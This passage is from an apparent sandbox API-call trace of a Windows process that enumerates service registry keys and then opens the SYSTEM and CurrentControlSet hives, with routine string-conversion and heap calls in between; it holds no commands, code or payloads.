cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.369] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.369] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.369] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0217.369] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bb0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0217.370] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0217.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0217.370] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0217.371] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0217.372] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0217.373] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0217.374] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0217.375] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0217.376] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0217.377] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0217.378] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0217.379] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0217.380] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0217.380] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0217.380] RegCloseKey (hKey=0x148) returned 0x0 [0217.380] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0217.380] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0217.380] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0217.380] RegCloseKey (hKey=0x80000002) returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0217.381] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0217.381] RegCloseKey (hKey=0xc4) returned 0x0 [0217.381] RegEnumKeyW 